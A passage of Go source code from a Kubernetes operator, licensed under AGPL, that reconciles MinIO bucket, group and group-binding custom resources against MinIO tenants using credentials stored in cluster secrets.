included so: 2 | # - golang's embed module will embed the 'embed' directory 3 | # - git will track a potentially empty 'embed' directory -------------------------------------------------------------------------------- /internal/operator/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package operator 18 | 19 | import ( 20 | "context" 21 | "io" 22 | "log/slog" 23 | 24 | "golang.org/x/sync/errgroup" 25 | "k8s.io/klog/v2" 26 | ) 27 | 28 | // Main holds the components of the application 29 | type Main struct { 30 | Operator Operator 31 | } 32 | 33 | // Opts define the options used to create a new instance of [Main] 34 | type Opts struct { 35 | Logger *slog.Logger 36 | KubeConfig string 37 | } 38 | 39 | // Creates a new instance of [Main] with the provided [Opts]. 40 | func New(o *Opts) (*Main, error) { 41 | l := o.Logger 42 | if l == nil { 43 | l = slog.New(slog.NewTextHandler(io.Discard, nil)) 44 | } 45 | 46 | klog.SetSlogLogger(l.With("name", "klog")) 47 | op, err := NewOperator(&OperatorOpts{ 48 | Logger: l.With("name", "operator"), 49 | KubeConfig: o.KubeConfig, 50 | }) 51 | if err != nil { 52 | return nil, err 53 | } 54 | 55 | return &Main{ 56 | Operator: op, 57 | }, nil 58 | } 59 | 60 | // Runs the application. 61 | // Blocks until one of the components fail with an error 62 | func (m *Main) Run(ctx context.Context) error { 63 | g, _ := errgroup.WithContext(ctx) 64 | g.Go(func() error { return m.Operator.Run(ctx) }) 65 | return g.Wait() 66 | } 67 | -------------------------------------------------------------------------------- /internal/operator/operator.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package operator 18 | 19 | import ( 20 | "bytes" 21 | "context" 22 | "crypto/sha512" 23 | "crypto/tls" 24 | "crypto/x509" 25 | "encoding/json" 26 | "encoding/pem" 27 | "fmt" 28 | "io" 29 | "log/slog" 30 | "net/http" 31 | "reflect" 32 | "slices" 33 | "strings" 34 | "time" 35 | 36 | v1 "github.com/hiddenwool/minio-operator-ext/pkg/api/bfiola.dev/v1" 37 | "github.com/go-logr/logr" 38 | "github.com/hashicorp/go-envparse" 39 | "github.com/minio/madmin-go/v3" 40 | minioclient "github.com/minio/minio-go/v7" 41 | miniocredentials "github.com/minio/minio-go/v7/pkg/credentials" 42 | miniov2 "github.com/minio/operator/pkg/apis/minio.min.io/v2" 43 | corev1 "k8s.io/api/core/v1" 44 | "k8s.io/apimachinery/pkg/runtime" 45 | "k8s.io/apimachinery/pkg/types" 46 | kscheme "k8s.io/client-go/kubernetes/scheme" 47 | "k8s.io/client-go/tools/clientcmd" 48 | "sigs.k8s.io/controller-runtime/pkg/builder" 49 | "sigs.k8s.io/controller-runtime/pkg/client" 50 | "sigs.k8s.io/controller-runtime/pkg/config" 51 | "sigs.k8s.io/controller-runtime/pkg/controller/controllerutil" 52 | "sigs.k8s.io/controller-runtime/pkg/healthz" 53 | "sigs.k8s.io/controller-runtime/pkg/log" 54 | "sigs.k8s.io/controller-runtime/pkg/manager" 55 | "sigs.k8s.io/controller-runtime/pkg/reconcile" 56 | ) 57 | 58 | const ( 59 | finalizer = "bfiola.dev/minio-operator-ext" 60 | ) 61 | 62 | // Returns a pointer to [v]. 63 | // This primarily exists to simplify passing pointers to literals. 64 | func ptr[T any](v T) *T { 65 | return &v 66 | } 67 | 68 | // Returns true if the error is an [minioclient.ErrorResponse] and its code matches that of [code]. 69 | func isMinioErrorCode(err error, code string) bool { 70 | merr, ok := err.(minioclient.ErrorResponse) 71 | return ok && merr.Code == code 72 | } 73 | 74 | // Ignores the error if the error is an [minioclient.ErrorResponse] and its code matches that of [code]. 75 | func ignoreMinioErrorCode(err error, code string) error { 76 | if isMinioErrorCode(err, code) { 77 | return nil 78 | } 79 | return err 80 | } 81 | 82 | // Returns true if the error is an [madmin.ErrorResponse] and its code matches that of [code]. 83 | func isMadminErrorCode(err error, code string) bool { 84 | merr, ok := err.(madmin.ErrorResponse) 85 | return ok && merr.Code == code 86 | } 87 | 88 | // Ignores the error if the error is an [madmin.ErrorResponse] and its code matches that of [code]. 89 | func ignoreMadminErrorCode(err error, code string) error { 90 | if isMadminErrorCode(err, code) { 91 | return nil 92 | } 93 | return err 94 | } 95 | 96 | // Operator is the public interface for the operator implementation 97 | type Operator interface { 98 | Health() error 99 | Run(ctx context.Context) error 100 | } 101 | 102 | // operator manages all of the crd controllers 103 | type operator struct { 104 | manager manager.Manager 105 | logger *slog.Logger 106 | } 107 | 108 | // OperatorOpts defines the options used to construct a new [operator] 109 | type OperatorOpts struct { 110 | KubeConfig string 111 | Logger *slog.Logger 112 | SyncInterval time.Duration 113 | } 114 | 115 | // Creates a new operator with the provided [OperatorOpts]. 116 | func NewOperator(o *OperatorOpts) (*operator, error) { 117 | l := o.Logger 118 | if l == nil { 119 | l = slog.New(slog.NewTextHandler(io.Discard, nil)) 120 | } 121 | 122 | c, err := clientcmd.BuildConfigFromFlags("", o.KubeConfig) 123 | if err != nil { 124 | return nil, err 125 | } 126 | 127 | si := o.SyncInterval 128 | if si == 0 { 129 | si = 60 * time.Second 130 | } 131 | 132 | s := runtime.NewScheme() 133 | err = v1.AddToScheme(s) 134 | if err != nil { 135 | return nil, err 136 | } 137 | err = miniov2.AddToScheme(s) 138 | if err != nil { 139 | return nil, err 140 | } 141 | err = kscheme.AddToScheme(s) 142 | if err != nil { 143 | return nil, err 144 | } 145 | 146 | lfsl := logr.FromSlogHandler(l.Handler()) 147 | log.SetLogger(lfsl) 148 | m, err := manager.New(c, manager.Options{ 149 | Client: client.Options{Cache: &client.CacheOptions{DisableFor: []client.Object{&corev1.ConfigMap{}, &corev1.Secret{}, &corev1.Service{}, &miniov2.Tenant{}}}}, 150 | Controller: config.Controller{SkipNameValidation: ptr(true)}, 151 | HealthProbeBindAddress: ":8888", 152 | Logger: lfsl, 153 | Scheme: s, 154 | }) 155 | if err != nil { 156 | return nil, err 157 | } 158 | err = m.AddHealthzCheck("healthz", healthz.Ping) 159 | if err != nil { 160 | return nil, err 161 | } 162 | err = m.AddReadyzCheck("readyz", healthz.Ping) 163 | if err != nil { 164 | return nil, err 165 | } 166 | 167 | rs := []reconciler{ 168 | &minioBucketReconciler{syncInterval: si}, 169 | &minioGroupReconciler{syncInterval: si}, 170 | &minioGroupBindingReconciler{syncInterval: si}, 171 | &minioPolicyReconciler{syncInterval: si}, 172 | &minioPolicyBindingReconciler{syncInterval: si}, 173 | &minioUserReconciler{syncInterval: si}, 174 | } 175 | for _, r := range rs { 176 | err = r.register(m) 177 | if err != nil { 178 | return nil, err 179 | } 180 | } 181 | 182 | return &operator{ 183 | logger: l, 184 | manager: m, 185 | }, err 186 | } 187 | 188 | // Performs a health check for the given [operator], 189 | // Returns an error if the [operator] is unhealthy. 190 | func (o *operator) Health() error { 191 | return nil 192 | } 193 | 194 | // Starts the [operator]. 195 | // Runs until terminated or if an error is thrown. 196 | func (o *operator) Run(ctx context.Context) error { 197 | o.logger.Info("starting operator") 198 | return o.manager.Start(ctx) 199 | } 200 | 201 | // minioTenantClientInfo defines the data required to instantiate a minio client from a given tenant. 202 | type minioTenantClientInfo struct { 203 | AccessKey string 204 | CaBundle *x509.CertPool 205 | Endpoint string 206 | SecretKey string 207 | Secure bool 208 | } 209 | 210 | // +kubebuilder:rbac:groups=core,resources=services,verbs=get 211 | // +kubebuilder:rbac:groups=core,resources=configmaps,verbs=get 212 | // +kubebuilder:rbac:groups=core,resources=secrets,verbs=get 213 | // +kubebuilder:rbac:groups=minio.min.io,resources=tenants,verbs=get 214 | 215 | // Returns [minioTenantClientInfo] for a [miniov2.Tenant] referenced by [v1.ResourceRef]. 216 | // Returns an error if unable to fetch tenant information. 217 | func getMinioTenantClientInfo(ctx context.Context, c client.Client, rr v1.ResourceRef) (*minioTenantClientInfo, error) { 218 | if rr.Namespace == "" { 219 | return nil, fmt.Errorf("namespace empty") 220 | } 221 | 222 | // get tenant 223 | t := &miniov2.Tenant{} 224 | err := c.Get(ctx, types.NamespacedName{Name: rr.Name, Namespace: rr.Namespace}, t) 225 | if err != nil { 226 | return nil, err 227 | } 228 | 229 | // determine if tenant secure 230 | s := true 231 | if t.Spec.RequestAutoCert != nil { 232 | s = *t.Spec.RequestAutoCert 233 | } 234 | 235 | // obtain access + secret key 236 | ts := &corev1.Secret{} 237 | err = c.Get(ctx, types.NamespacedName{Namespace: rr.Namespace, Name: t.Spec.Configuration.Name}, ts) 238 | if err != nil { 239 | return nil, err 240 | } 241 | tsk := "config.env" 242 | tceb, ok := ts.Data[tsk] 243 | if !ok { 244 | return nil, fmt.Errorf("key %s for %s/%s not found", tsk, ts.Namespace, ts.Name) 245 | } 246 | tce, err := envparse.Parse(bytes.NewReader(tceb)) 247 | if err != nil { 248 | return nil, err 249 | } 250 | k := "MINIO_ROOT_USER" 251 | ak, ok := tce[k] 252 | if !ok { 253 | return nil, fmt.Errorf("key %s in %s/%s/%s not found", k, ts.Namespace, ts.Name, tsk) 254 | } 255 | k = "MINIO_ROOT_PASSWORD" 256 | sk, ok := tce[k] 257 | if !ok { 258 | return nil, fmt.Errorf("key %s in %s/%s/%s not found", k, ts.Namespace, ts.Name, tsk) 259 | } 260 | 261 | // obtain endpoint 262 | tsvcn := "minio" 263 | tsvc := &corev1.Service{} 264 | err = c.Get(ctx, types.NamespacedName{Namespace: rr.Namespace, Name: tsvcn}, tsvc) 265 | if err != nil { 266 | return nil, err 267 | } 268 | tsvcpn := "http-minio" 269 | if s { 270 | tsvcpn = "https-minio" 271 | } 272 | e := "" 273 | for _, p := range tsvc.Spec.Ports { 274 | if p.Name != tsvcpn { 275 | continue 276 | } 277 | e = fmt.Sprintf("%s.%s.svc:%d", tsvcn, rr.Namespace, p.Port) 278 | break 279 | } 280 | if e == "" { 281 | return nil, fmt.Errorf("endpoint for minio service %s/%s not found", tsvc.Namespace, tsvc.Name) 282 | } 283 | 284 | // obtain ca bundle 285 | krccm := &corev1.ConfigMap{} 286 | err = c.Get(ctx, types.NamespacedName{Namespace: rr.Namespace, Name: "kube-root-ca.crt"}, krccm) 287 | if err != nil { 288 | return nil, err 289 | } 290 | cb, ok := krccm.Data["ca.crt"] 291 | if !ok { 292 | return nil, fmt.Errorf("kube root ca for %s not found", rr.Namespace) 293 | } 294 | 295 | // create cert pool with ca bundle 296 | cbp := x509.NewCertPool() 297 | cbb, _ := pem.Decode([]byte(cb)) 298 | cbc, err := x509.ParseCertificate(cbb.Bytes) 299 | if err != nil { 300 | return nil, err 301 | } 302 | cbp.AddCert(cbc) 303 | 304 | return &minioTenantClientInfo{ 305 | AccessKey: ak, 306 | CaBundle: cbp, 307 | Endpoint: e, 308 | Secure: s, 309 | SecretKey: sk, 310 | }, nil 311 | } 312 | 313 | // Generates a [minioclient.Client] for the given [minioTenantClientInfo] 314 | // Returns an error if the client cannot be created 315 | func (mtci *minioTenantClientInfo) GetClient(ctx context.Context) (*minioclient.Client, error) { 316 | mtc, err := minioclient.New(mtci.Endpoint, &minioclient.Options{ 317 | Creds: miniocredentials.NewStaticV4(mtci.AccessKey, mtci.SecretKey, ""), 318 | Secure: mtci.Secure, 319 | Transport: &http.Transport{ 320 | TLSClientConfig: &tls.Config{ 321 | RootCAs: mtci.CaBundle, 322 | }, 323 | }, 324 | }) 325 | if err != nil { 326 | return nil, err 327 | } 328 | 329 | return mtc, nil 330 | } 331 | 332 | // Generates a [madmin.AdminClient] for the given [minioTenantClientInfo] 333 | // Returns an error if the client cannot be created 334 | func (mtci *minioTenantClientInfo) GetAdminClient(ctx context.Context) (*madmin.AdminClient, error) { 335 | mtac, err := madmin.New(mtci.Endpoint, mtci.AccessKey, mtci.SecretKey, mtci.Secure) 336 | mtac.SetCustomTransport(&http.Transport{ 337 | TLSClientConfig: &tls.Config{ 338 | RootCAs: mtci.CaBundle, 339 | }, 340 | }) 341 | if err != nil { 342 | return nil, err 343 | } 344 | 345 | return mtac, nil 346 | } 347 | 348 | // reconciler is the common interface implemented by all CRD reconcilers in this package 349 | type reconciler interface { 350 | reconcile.Reconciler 351 | register(m manager.Manager) error 352 | } 353 | 354 | // minioBucketReconciler reconciles [v1.MinioBucket] resources 355 | type minioBucketReconciler struct { 356 | client.Client 357 | logger logr.Logger 358 | syncInterval time.Duration 359 | } 360 | 361 | // Builds a controller with a [minioBucketReconciler]. 362 | // Registers this controller with a [manager.Manager] instance. 363 | // Returns an error if a controller cannot be built. 364 | func (r *minioBucketReconciler) register(m manager.Manager) error { 365 | r.Client = m.GetClient() 366 | ctrl, err := builder.ControllerManagedBy(m).For(&v1.MinioBucket{}).Build(r) 367 | if err != nil { 368 | return err 369 | } 370 | r.logger = ctrl.GetLogger() 371 | return nil 372 | } 373 | 374 | // +kubebuilder:rbac:groups=bfiola.dev,resources=miniobuckets,verbs=get;list;update;watch 375 | 376 | // Reconciles a [reconcile.Request] associated with a [v1.MinioBucket]. 377 | // Returns a error if reconciliation fails. 378 | func (r *minioBucketReconciler) Reconcile(ctx context.Context, req reconcile.Request) (reconcile.Result, error) { 379 | l := r.logger.WithValues("resource", req.NamespacedName.String()) 380 | l.Info("reconcile") 381 | 382 | b := &v1.MinioBucket{} 383 | err := r.Get(ctx, req.NamespacedName, b) 384 | if err != nil { 385 | return reconcile.Result{}, client.IgnoreNotFound(err) 386 | } 387 | 388 | success := func() (reconcile.Result, error) { return reconcile.Result{RequeueAfter: r.syncInterval}, nil } 389 | failure := func(err error) (reconcile.Result, error) { return reconcile.Result{}, err } 390 | 391 | if !b.ObjectMeta.DeletionTimestamp.IsZero() { 392 | l.Info("marked for deletion") 393 | if b.Status.CurrentSpec != nil { 394 | l.Info("delete bucket (status set)") 395 | 396 | l.Info("get tenant client") 397 | tr := b.Status.CurrentSpec.TenantRef.SetDefaultNamespace(b.GetNamespace()) 398 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 399 | if err != nil { 400 | return failure(err) 401 | } 402 | mtc, err := mtci.GetClient(ctx) 403 | if err != nil { 404 | return failure(err) 405 | } 406 | 407 | l.Info("delete minio bucket") 408 | dp := b.Status.CurrentSpec.DeletionPolicy 409 | if b.Status.CurrentSpec.DeletionPolicy == "" { 410 | dp = v1.MinioBucketDeletionPolicyIfEmpty 411 | } 412 | err = mtc.RemoveBucketWithOptions(ctx, b.Status.CurrentSpec.Name, minioclient.RemoveBucketOptions{ForceDelete: dp == v1.MinioBucketDeletionPolicyAlways}) 413 | err = ignoreMinioErrorCode(err, "NoSuchBucket") 414 | if err != nil { 415 | return failure(err) 416 | } 417 | 418 | l.Info("clear status") 419 | b.Status.CurrentSpec = nil 420 | err = r.Update(ctx, b) 421 | if err != nil { 422 | return failure(err) 423 | } 424 | 425 | return success() 426 | } 427 | 428 | l.Info("clear finalizer") 429 | controllerutil.RemoveFinalizer(b, finalizer) 430 | err = r.Update(ctx, b) 431 | if err != nil { 432 | return failure(err) 433 | } 434 | 435 | return success() 436 | } 437 | 438 | if !controllerutil.ContainsFinalizer(b, finalizer) { 439 | l.Info("add finalizer") 440 | controllerutil.AddFinalizer(b, finalizer) 441 | err = r.Update(ctx, b) 442 | if err != nil { 443 | return failure(err) 444 | } 445 | 446 | return success() 447 | } 448 | 449 | if b.Status.CurrentSpec != nil { 450 | l.Info("check for bucket change") 451 | 452 | if b.Spec.Migrate { 453 | l.Info("remove migrate spec field") 454 | b.Spec.Migrate = false 455 | err = r.Update(ctx, b) 456 | if err != nil { 457 | return failure(err) 458 | } 459 | } 460 | 461 | l.Info("get tenant client") 462 | tr := b.Status.CurrentSpec.TenantRef.SetDefaultNamespace(b.GetNamespace()) 463 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 464 | if err != nil { 465 | return failure(err) 466 | } 467 | mtc, err := mtci.GetClient(ctx) 468 | if err != nil { 469 | return failure(err) 470 | } 471 | 472 | l.Info("check if minio bucket exists") 473 | be, err := mtc.BucketExists(ctx, b.Status.CurrentSpec.Name) 474 | if err != nil { 475 | return failure(err) 476 | } 477 | if !be { 478 | l.Info("clear status (minio bucket no longer exists)") 479 | b.Status.CurrentSpec = nil 480 | err := r.Update(ctx, b) 481 | if err != nil { 482 | return failure(err) 483 | } 484 | 485 | return success() 486 | } 487 | 488 | if b.Status.CurrentSpec.DeletionPolicy != b.Spec.DeletionPolicy { 489 | l.Info("update bucket (deletion policy changed)") 490 | 491 | l.Info("set status") 492 | b.Status.CurrentSpec.DeletionPolicy = b.Spec.DeletionPolicy 493 | err = r.Update(ctx, b) 494 | if err != nil { 495 | return failure(err) 496 | } 497 | 498 | return success() 499 | } 500 | } 501 | 502 | if b.Status.CurrentSpec == nil { 503 | l.Info("create bucket (status unset)") 504 | 505 | l.Info("get tenant client") 506 | tr := b.Spec.TenantRef.SetDefaultNamespace(b.GetNamespace()) 507 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 508 | if err != nil { 509 | return failure(err) 510 | } 511 | mtc, err := mtci.GetClient(ctx) 512 | if err != nil { 513 | return failure(err) 514 | } 515 | 516 | l.Info("create minio bucket") 517 | err = mtc.MakeBucket(ctx, b.Spec.Name, minioclient.MakeBucketOptions{}) 518 | if b.Spec.Migrate { 519 | err = ignoreMinioErrorCode(err, "BucketAlreadyOwnedByYou") 520 | } 521 | if err != nil { 522 | return failure(err) 523 | } 524 | 525 | l.Info("set status") 526 | b.Spec.Migrate = false 527 | b.Status.CurrentSpec = &b.Spec 528 | err = r.Update(ctx, b) 529 | if err != nil { 530 | return failure(err) 531 | } 532 | 533 | return success() 534 | } 535 | 536 | return success() 537 | } 538 | 539 | // minioGroupReconciler reconciles [v1.MinioGroup] resources 540 | type minioGroupReconciler struct { 541 | client.Client 542 | logger logr.Logger 543 | syncInterval time.Duration 544 | } 545 | 546 | // Builds a controller with a [minioGroupReconciler]. 547 | // Registers this controller with a [manager.Manager] instance. 548 | // Returns an error if a controller cannot be built. 549 | func (r *minioGroupReconciler) register(m manager.Manager) error { 550 | r.Client = m.GetClient() 551 | ctrl, err := builder.ControllerManagedBy(m).For(&v1.MinioGroup{}).Build(r) 552 | if err != nil { 553 | return err 554 | } 555 | r.logger = ctrl.GetLogger() 556 | return nil 557 | } 558 | 559 | // +kubebuilder:rbac:groups=bfiola.dev,resources=miniogroups,verbs=get;list;update;watch 560 | 561 | // Reconciles a [reconcile.Request] associated with a [v1.MinioGroup]. 562 | // Returns a error if reconciliation fails. 563 | func (r *minioGroupReconciler) Reconcile(ctx context.Context, req reconcile.Request) (reconcile.Result, error) { 564 | l := r.logger.WithValues("resource", req.NamespacedName.String()) 565 | l.Info("reconcile") 566 | 567 | g := &v1.MinioGroup{} 568 | err := r.Get(ctx, req.NamespacedName, g) 569 | if err != nil { 570 | return reconcile.Result{}, client.IgnoreNotFound(err) 571 | } 572 | 573 | success := func() (reconcile.Result, error) { return reconcile.Result{RequeueAfter: r.syncInterval}, nil } 574 | failure := func(err error) (reconcile.Result, error) { return reconcile.Result{}, err } 575 | if !g.ObjectMeta.DeletionTimestamp.IsZero() { 576 | l.Info("marked for deletion") 577 | 578 | if g.Status.CurrentSpec != nil { 579 | l.Info("delete group (status set)") 580 | 581 | l.Info("get tenant admin client") 582 | tr := g.Status.CurrentSpec.TenantRef.SetDefaultNamespace(g.GetNamespace()) 583 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 584 | if err != nil { 585 | return failure(err) 586 | } 587 | mtac, err := mtci.GetAdminClient(ctx) 588 | if err != nil { 589 | return failure(err) 590 | } 591 | 592 | l.Info("delete minio group") 593 | err = mtac.UpdateGroupMembers(ctx, madmin.GroupAddRemove{ 594 | Group: g.Status.CurrentSpec.Name, 595 | IsRemove: true, 596 | }) 597 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchGroup") 598 | if err != nil { 599 | return failure(err) 600 | } 601 | 602 | l.Info("clear status") 603 | g.Status.CurrentSpec = nil 604 | err = r.Update(ctx, g) 605 | if err != nil { 606 | return failure(err) 607 | } 608 | 609 | return success() 610 | } 611 | 612 | l.Info("clear finalizer") 613 | controllerutil.RemoveFinalizer(g, finalizer) 614 | err = r.Update(ctx, g) 615 | if err != nil { 616 | return failure(err) 617 | } 618 | 619 | return success() 620 | } 621 | 622 | if !controllerutil.ContainsFinalizer(g, finalizer) { 623 | l.Info("add finalizer") 624 | controllerutil.AddFinalizer(g, finalizer) 625 | err = r.Update(ctx, g) 626 | if err != nil { 627 | return failure(err) 628 | } 629 | 630 | return success() 631 | } 632 | 633 | if g.Status.CurrentSpec != nil { 634 | l.Info("check for group change") 635 | 636 | if g.Spec.Migrate { 637 | l.Info("remove migrate spec field") 638 | g.Spec.Migrate = false 639 | err = r.Update(ctx, g) 640 | if err != nil { 641 | return failure(err) 642 | } 643 | } 644 | 645 | l.Info("get tenant admin client") 646 | tr := g.Status.CurrentSpec.TenantRef.SetDefaultNamespace(g.GetNamespace()) 647 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 648 | if err != nil { 649 | return failure(err) 650 | } 651 | mtac, err := mtci.GetAdminClient(ctx) 652 | if err != nil { 653 | return failure(err) 654 | } 655 | 656 | l.Info("get minio group description") 657 | _, err = mtac.GetGroupDescription(ctx, g.Status.CurrentSpec.Name) 658 | e := !isMadminErrorCode(err, "XMinioAdminNoSuchGroup") 659 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchGroup") 660 | if err != nil { 661 | return failure(err) 662 | } 663 | if !e { 664 | l.Info("clear status (minio group no longer exists)") 665 | g.Status.CurrentSpec = nil 666 | err = r.Update(ctx, g) 667 | if err != nil { 668 | return failure(err) 669 | } 670 | 671 | return success() 672 | } 673 | } 674 | 675 | if g.Status.CurrentSpec == nil { 676 | l.Info("create group (status unset)") 677 | 678 | l.Info("get tenant admin client") 679 | tr := g.Spec.TenantRef.SetDefaultNamespace(g.GetNamespace()) 680 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 681 | if err != nil { 682 | return failure(err) 683 | } 684 | mtac, err := mtci.GetAdminClient(ctx) 685 | if err != nil { 686 | return failure(err) 687 | } 688 | 689 | l.Info("get minio group") 690 | _, err = mtac.GetGroupDescription(ctx, g.Spec.Name) 691 | exists := err == nil 692 | if exists && !g.Spec.Migrate { 693 | err = fmt.Errorf("group %s already exists", g.Spec.Name) 694 | } 695 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchGroup") 696 | if err != nil { 697 | return failure(err) 698 | } 699 | 700 | l.Info("create minio group") 701 | err = mtac.UpdateGroupMembers(ctx, madmin.GroupAddRemove{ 702 | Group: g.Spec.Name, 703 | IsRemove: false, 704 | }) 705 | if err != nil { 706 | return failure(err) 707 | } 708 | 709 | l.Info("set status") 710 | g.Spec.Migrate = false 711 | g.Status.CurrentSpec = &g.Spec 712 | err = r.Update(ctx, g) 713 | if err != nil { 714 | return failure(err) 715 | } 716 | 717 | return success() 718 | } 719 | 720 | return success() 721 | } 722 | 723 | // minioGroupBindingReconciler reconciles [v1.MinioGroupBinding] resources 724 | type minioGroupBindingReconciler struct { 725 | client.Client 726 | logger logr.Logger 727 | syncInterval time.Duration 728 | } 729 | 730 | // Builds a controller with a [minioGroupBindingReconciler]. 731 | // Registers this controller with a [manager.Manager] instance. 732 | // Returns an error if a controller cannot be built. 733 | func (r *minioGroupBindingReconciler) register(m manager.Manager) error { 734 | r.Client = m.GetClient() 735 | ctrl, err := builder.ControllerManagedBy(m).For(&v1.MinioGroupBinding{}).Build(r) 736 | if err != nil { 737 | return err 738 | } 739 | r.logger = ctrl.GetLogger() 740 | return nil 741 | } 742 | 743 | // +kubebuilder:rbac:groups=bfiola.dev,resources=miniogroupbindings,verbs=get;list;update;watch 744 | 745 | // Reconciles a [reconcile.Request] associated with a [v1.MinioGroupBinding]. 746 | // Returns a error if reconciliation fails. 747 | func (r *minioGroupBindingReconciler) Reconcile(ctx context.Context, req reconcile.Request) (reconcile.Result, error) { 748 | l := r.logger.WithValues("resource", req.NamespacedName.String()) 749 | l.Info("reconcile") 750 | 751 | gb := &v1.MinioGroupBinding{} 752 | err := r.Get(ctx, req.NamespacedName, gb) 753 | if err != nil { 754 | return reconcile.Result{}, client.IgnoreNotFound(err) 755 | } 756 | 757 | success := func() (reconcile.Result, error) { return reconcile.Result{RequeueAfter: r.syncInterval}, nil } 758 | failure := func(err error) (reconcile.Result, error) { return reconcile.Result{}, err } 759 | deleteGroupMember := func() error { 760 | l.Info("get tenant admin client") 761 | tr := gb.Status.CurrentSpec.TenantRef.SetDefaultNamespace(gb.GetNamespace()) 762 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 763 | if err != nil { 764 | return err 765 | } 766 | mtac, err := mtci.GetAdminClient(ctx) 767 | if err != nil { 768 | return err 769 | } 770 | 771 | l.Info("delete minio group member") 772 | err = mtac.UpdateGroupMembers(ctx, madmin.GroupAddRemove{ 773 | Group: gb.Status.CurrentSpec.Group, 774 | Members: []string{gb.Status.CurrentSpec.User}, 775 | IsRemove: true, 776 | }) 777 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchUser") 778 | if err != nil { 779 | return err 780 | } 781 | 782 | l.Info("clear status") 783 | gb.Status.CurrentSpec = nil 784 | err = r.Update(ctx, gb) 785 | if err != nil { 786 | return err 787 | } 788 | 789 | return nil 790 | } 791 | 792 | if !gb.ObjectMeta.DeletionTimestamp.IsZero() { 793 | l.Info("marked for deletion") 794 | 795 | if gb.Status.CurrentSpec != nil { 796 | l.Info("delete group member (status set)") 797 | 798 | err = deleteGroupMember() 799 | if err != nil { 800 | return failure(err) 801 | } 802 | 803 | return success() 804 | } 805 | 806 | l.Info("clear finalizer") 807 | controllerutil.RemoveFinalizer(gb, finalizer) 808 | err = r.Update(ctx, gb) 809 | if err != nil { 810 | return failure(err) 811 | } 812 | 813 | return success() 814 | } 815 | 816 | if !controllerutil.ContainsFinalizer(gb, finalizer) { 817 | l.Info("add finalizer") 818 | controllerutil.AddFinalizer(gb, finalizer) 819 | err = r.Update(ctx, gb) 820 | if err != nil { 821 | return failure(err) 822 | } 823 | 824 | return success() 825 | } 826 | 827 | if gb.Status.CurrentSpec != nil { 828 | l.Info("check for group binding change") 829 | 830 | if gb.Spec.Migrate { 831 | l.Info("remove migrate spec field") 832 | gb.Spec.Migrate = false 833 | err = r.Update(ctx, gb) 834 | if err != nil { 835 | return failure(err) 836 | } 837 | } 838 | 839 | l.Info("get tenant admin client") 840 | tr := gb.Status.CurrentSpec.TenantRef.SetDefaultNamespace(gb.GetNamespace()) 841 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 842 | if err != nil { 843 | return failure(err) 844 | } 845 | mtac, err := mtci.GetAdminClient(ctx) 846 | if err != nil { 847 | return failure(err) 848 | } 849 | 850 | l.Info("get minio group") 851 | gd, err := mtac.GetGroupDescription(ctx, gb.Status.CurrentSpec.Group) 852 | if err != nil { 853 | return failure(err) 854 | } 855 | 856 | if !slices.Contains(gd.Members, gb.Status.CurrentSpec.User) { 857 | l.Info("clear status (group binding no longer exists)") 858 | gb.Status.CurrentSpec = nil 859 | err = r.Update(ctx, gb) 860 | if err != nil { 861 | return failure(err) 862 | } 863 | 864 | return success() 865 | } 866 | 867 | if !reflect.DeepEqual(*gb.Status.CurrentSpec, gb.Spec) { 868 | l.Info("delete group member (status and spec differ)") 869 | err = deleteGroupMember() 870 | if err != nil { 871 | return failure(err) 872 | } 873 | 874 | return success() 875 | } 876 | } 877 | 878 | if gb.Status.CurrentSpec == nil { 879 | l.Info("add group member (status unset)") 880 | 881 | l.Info("get tenant admin client") 882 | tr := gb.Spec.TenantRef.SetDefaultNamespace(gb.GetNamespace()) 883 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 884 | if err != nil { 885 | return failure(err) 886 | } 887 | mtac, err := mtci.GetAdminClient(ctx) 888 | if err != nil { 889 | return failure(err) 890 | } 891 | 892 | l.Info("get minio group description") 893 | gd, err := mtac.GetGroupDescription(ctx, gb.Spec.Group) 894 | if err != nil { 895 | return failure(err) 896 | } 897 | exists := slices.Contains(gd.Members, gb.Spec.User) 898 | if exists && !gb.Spec.Migrate { 899 | err = fmt.Errorf("user %s already member of group %s", gb.Spec.User, gb.Spec.Group) 900 | } 901 | if err != nil { 902 | return failure(err) 903 | } 904 | 905 | l.Info("add minio group member") 906 | err = mtac.UpdateGroupMembers(ctx, madmin.GroupAddRemove{ 907 | Group: gb.Spec.Group, 908 | Members: []string{gb.Spec.User}, 909 | IsRemove: false, 910 | }) 911 | if err != nil { 912 | return failure(err) 913 | } 914 | 915 | l.Info("set status") 916 | gb.Spec.Migrate = false 917 | gb.Status.CurrentSpec = &gb.Spec 918 | err = r.Update(ctx, gb) 919 | if err != nil { 920 | return failure(err) 921 | } 922 | 923 | return success() 924 | 925 | } 926 | 927 | return success() 928 | } 929 | 930 | // minioPolicyReconciler reconciles [v1.MinioPolicy] resources 931 | type minioPolicyReconciler 